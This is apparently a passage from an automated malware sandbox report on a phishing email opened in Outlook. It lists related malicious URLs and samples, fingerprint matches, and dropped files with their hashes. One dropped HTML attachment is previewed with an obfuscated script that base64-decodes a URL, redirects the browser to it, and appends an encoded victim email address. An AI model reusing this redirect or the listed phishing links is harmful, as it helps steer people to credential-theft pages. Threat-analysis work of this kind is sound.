	https://www.shareholds.com/eur/9fb868a2-97de-4fa6-bb9a-6e2bdc7c734d/99db7d04-72ba-41ea-a52e-2744d29c7f66/e845cf48-2115-4cda-904c-fc80c835df32/login?id=RDhIaE52RURnRGJHRWUzZ21seVc3R2xwMm5BK0k2NjNKbnlRYisvT3JURnNTa0p4Skp6OTRIVjNPa3VFclFOeEFTY2Jub0tIblFrbGo5SUhWb01RRCt4Q3FtaVlNeno4MU8zN2I3bmlveTF0Tm8yM0FOb1J4THRhM1RqNnhyazNHaDFNV3Zoc1RLN2VpV0ZZbUF2MDlWWGZ2Tk5STVpzUDVKaStnT0l0S1BVTlRzZ2lmcXI1Wkh6M1FheGd3Tjh2NVdaTzVOOTRQaVZrTmZrSjRIK3IvU1p4U2doYSsrYmtUOGl1RytpeGthUGFHT1g4UE4rbngvYnhpRXlJRG9oRVRWbUczdEc1ei9ESFJsT2lpZ2JyOFBLNTNoUXdzdVB0QjhVbmRBN1NSSUJYMTkrRnoxbENHSW5lYnJHczBnQytHaDlQSkRib1NTOFNJeTI2WVhCUkg5NGxNNzNMdzBmWktZenhCR2FnaFFaem5zU3FmbUV6WXowVFdOTEFjU3pGVnRjVlNFOHRtVlkvdk9WQjdibXBTNGZFcjUyb1BYTXRhQTRNNnJjbkJtcz0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	152.199.21.175
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse	152.199.21.175
	Quarantined Messages (1).zip	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	VirtualDesktop.Streamer.Setup.exe	Get hash	malicious	Unknown	Browse	152.199.21.175
	hIZGYTjbdI.exe	Get hash	malicious	PureLog Stealer	Browse	93.184.215.14
AMAZON-02US	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	108.138.2.127
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.21
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	18.245.31.5
	(No subject) (92).eml	Get hash	malicious	Unknown	Browse	54.187.154.64
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	44.252.140.156
	botnet.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	52.221.152.50
	botnet.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	54.79.107.211
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	13.228.165.201
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	65.3.68.55
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	18.191.196.88

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	1.zip	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	(No subject) (92).eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	https://docs.google.com/drawings/d/1agK-6fGF4y65hrPDNlHipoTNyumPU-yxdwKLkQWhsQI/preview?pli=1oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YE	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	http://usps.com-taroper.top/us	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	http://ERICADLERCLOTHING.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	https://accesspage853.ubpages.com/4k5-ffdfg	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	https://thegramp.nimbusweb.me/share/11336505/nigrk0yirmsg8qt4s4nm	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.140
	https://beta.adiance.com/wp-content/plugins/arull.php?7096797967704b5369323074645079557a5054436e4e5379314f7a644d725474524c7a732f564c7a4f4b794d6a574277413dhttps://digidunesen.sa.com/v2Xhk/#X%5Bemail%5D	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 40.126.32.140

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.384718018726658
Encrypted:	false
SSDEEP:	1536:uUYLPlgsGzmzsjpD+gsYSNcAz79ysQqt2U2ZLqoQVSrcm0FvrlyyG3wpu8XOGlYB:wdgUQUgImiGu2vqoQcrt0FvXt1jMkOrl
MD5:	8C6A2E2B504F8BB1E3E950EFECC86715
SHA1:	3F2522384CCA0D272AB2641B10DD08B9B10094D7
SHA-256:	63FC74DBE8578CDE270C265AFF53A8AB2530876536869F3FFC15ADC5B8B23B01
SHA-512:	24B9631AC2C8E37856576840380DCFF3566874B616B3EFCAEA1F25C14CAC6069C86276B0C7C2641CF77AB54FE929FCFD6DCB0CC43152CB206687CCFE27684972
Malicious:	false
Reputation:	low
Preview:	TH02...... ...~u.'......SM01X...,.....ru.'..........IPM.Activity...........h...............h............H..hD.............h........8...H..h\cal ...pDat...h....0..........h...............h........_`Uk...hI...@...I.lw...h....H...8.Zk...0....T...............d.........2h...............k..............!h.............. hQQ............#h....8.........$h8.......8....."h.R.......W....'h..^...........1h....<.........0h....4....Zk../h....h.....ZkH..h.w..p...D.....-h ...........+h.......8........... ...... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	322260
Entropy (8bit):	4.000299760592446
Encrypted:	false
SSDEEP:	6144:dztCFLNyoAHq5Rv2SCtUTnRe4N2+A/3oKBL37GZbTSB+pMZIrh:HMLgvKz9CtgRemO3oUHi3SBSMZIl
MD5:	CC90D669144261B198DEAD45AA266572
SHA1:	EF164048A8BC8BD3A015CF63E78BDAC720071305
SHA-256:	89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
SHA-512:	16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.8464393446710154
Encrypted:	false
SSDEEP:	3:LMuRn:Fn
MD5:	7F61B07AA76DD73DFDF4CD2A45956606
SHA1:	237F5545D81245CDB45A7F68A77130A69C20BF60
SHA-256:	A4E3E166694E95B4EDAE51865BFD622FCA747AFC12ED3989167A3B114188D143
SHA-512:	818CE876EB68F4448978F2604462D1A5DE2462C781D71890D57CCAFB40034146E187DA01675C39C4D8356FC8A51C2B9EA778C6713CFF44A02F1DB3BB42CDC38B
Malicious:	false
Reputation:	low
Preview:	1729886854

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\29E70295-097A-46CB-8B28-DED1AD70AD1B

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178267
Entropy (8bit):	5.29027459459471
Encrypted:	false
SSDEEP:	1536:Ji2XfRAqFbH41gwEwLe7HW8QM/o/NMdcAZl1p5ihs7EXXDEAD2Odago:PCe7HW8QM/o/TXgk9o
MD5:	88E826FC4E7B75D2787310694ED50BCD
SHA1:	AB6F4A15542D2FB64D7BC2AD4811B0CEF5B83C64
SHA-256:	28D87769E93DDB488DC281275B2A2CB21D9A4D06D923D5360377FC9092D40E03
SHA-512:	DF3A8982F274A544A1F46C837BA1809E5420DF7B1D83B5B816D92429444060693B741235B6FF42B1B4F0FAE44A5AC58B44227F8DB404CFCECDB191271324A76F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-10-25T20:07:31">.. Build: 16.0.18209.40127-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09216609452072291
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpF/4llfll:l9F8E0/
MD5:	F138A66469C10D5761C6CBB36F2163C3
SHA1:	EEA136206474280549586923B7A4A3C6D5DB1E25
SHA-256:	C712D6C7A60F170A0C6C5EC768D962C58B1F59A2D417E98C7C528A037C427AB6
SHA-512:	9D25F943B6137DD2981EE75D57BAF3A9E0EE27EEA2DF19591D580F02EC8520D837B8E419A8B1EB7197614A3C6D8793C56EBC848C38295ADA23C31273DAA302D9
Malicious:	false
Preview:	SQLite format 3......@ .......................................................................... .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1370048545379396
Encrypted:	false
SSDEEP:	3:7FEG2l+wI/all/FllkpMRgSWbNFl/sl+ltlslVlllfllkc:7+/lPIIg9bNFlEs1EP/l
MD5:	2E2BBA21A293D0759F6EA917AC292F7B
SHA1:	DEF5D6A12A53843E9D86F0DB028D50ECAAFC1BD8
SHA-256:	345AA4297E1F1F59C4A46B9F96A24A169B07D924678D8F8302849B37CBEE21A8
SHA-512:	4937BDF42562406B145D2E146AA0158E2791D0FD6F4EC0E5B9B0D03E63AE03D0004837457B421AC7080CC776C3AE562903C58C505D3B270DD149B1BB013F07AE
Malicious:	false
Preview:	.... .c........9....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .......................................................................... .................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04482848510499482
Encrypted:	false
SSDEEP:	3:G4l2AdFdkIusWhJXl2AdFdkIusWhJHllWlL9//Xlvlll1lllwlvlllglbXdbllAC:G4l2AdoZvXl2AdoZvKL9XXPH4l942U
MD5:	6C07362496AAE8A8886968E1DEBBE589
SHA1:	1A8C3C116505F8FFF1E33FC68090AE2C314D2697
SHA-256:	F8954B230D82A005B063CA44F3B706FF52426C6A9659AB0F037550F76B636BB5
SHA-512:	4463E7D67DE9FF84D26FF1CE9857FF14D790F67EAD77D1D6F950EAAB56834E1474647F57F6B7644148A47D2B178423D921DD8DA1D1C7CA48341EB08ABF225DF6
Malicious:	false
Preview:	..-......................t.C.,......y..3.#...r..-......................t.C.,......y..3.#...r........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3947071778904794
Encrypted:	false
SSDEEP:	24:KY7SVPfQ3zRDfeWm5Ull7DBtDi4kZERD56zqt8VtbDBtDi4kZERDj3:v7SlfQ1LedUll7DYMszO8VFDYMP
MD5:	ED8D4792196B8F405981E6941A68CD8E
SHA1:	97D40776D29BD8D00515A2F879995498D7D2CDA3
SHA-256:	101F6AB3923183CF87BB1F31BA4C6C0ECD83A3D5DD50646CFAD39AC64EE95B69
SHA-512:	E7749C12DD82CBB9902874DA79825D56B2CEFD61246E8E6EA0A1067FCEB8603FA2B8878F2172D81799B0C157588FE9EC5D11F3C88A8D03C41C89B838EF866263
Malicious:	false
Preview:	7....-...............y...+................y.....1.&SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968 (002).htm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.7819793290627555
Encrypted:	false
SSDEEP:	6:7fWmmnHx0l1ILqR6ylrxn8mbb0UlCRY3Vq3HVb:7fWxnR0lmGsErJhbF5EXVb
MD5:	8B7A6E066CC4941AFCD1D477EB4C69E5
SHA1:	033F21456B7B59C0398516C0DC3E67735F7BEB9B
SHA-256:	DA2010D7DF96E82E2A9270D37A33175AF34F158F08CBD578B42B0259504D3419
SHA-512:	C268968F521BC356ABB0415F0833104562391A0BCC525B5D59F6D44C620481C08761F26AB9EE6A54E46F9CE267F410786F3F07E4ECAFAD8DFA1B6835F9DEDA1D
Malicious:	false
Preview:	<script>.. window.location.href = atob("aHR0cHM6Ly9tYXJ0eS1uLmNvbS9vLz9jM1k5YnpNMk5WOHhYMjV2YlNaeVlXNWtQVTVYWkRKUlYyTTlKblZwWkQxVlUwVlNNVFV3T1RJd01qUlZNVEF3T1RFMU1UQT0=") + "#" + "cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=";..</script>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968 (002).htm:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968.htm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.7819793290627555
Encrypted:	false
SSDEEP:	6:7fWmmnHx0l1ILqR6ylrxn8mbb0UlCRY3Vq3HVb:7fWxnR0lmGsErJhbF5EXVb
MD5:	8B7A6E066CC4941AFCD1D477EB4C69E5
SHA1:	033F21456B7B59C0398516C0DC3E67735F7BEB9B
SHA-256:	DA2010D7DF96E82E2A9270D37A33175AF34F158F08CBD578B42B0259504D3419
SHA-512:	C268968F521BC356ABB0415F0833104562391A0BCC525B5D59F6D44C620481C08761F26AB9EE6A54E46F9CE267F410786F3F07E4ECAFAD8DFA1B6835F9DEDA1D
Malicious:	false
Preview:	<script>.. window.location.href = atob("aHR0cHM6Ly9tYXJ0eS1uLmNvbS9vLz9jM1k5YnpNMk5WOHhYMjV2YlNaeVlXNWtQVTVYWkRKUlYyTTlKblZwWkQxVlUwVlNNVFV3T1RJd01qUlZNVEF3T1RFMU1UQT0=") + "#" + "cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=";..</script>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT47968.htm:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970 (002).htm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
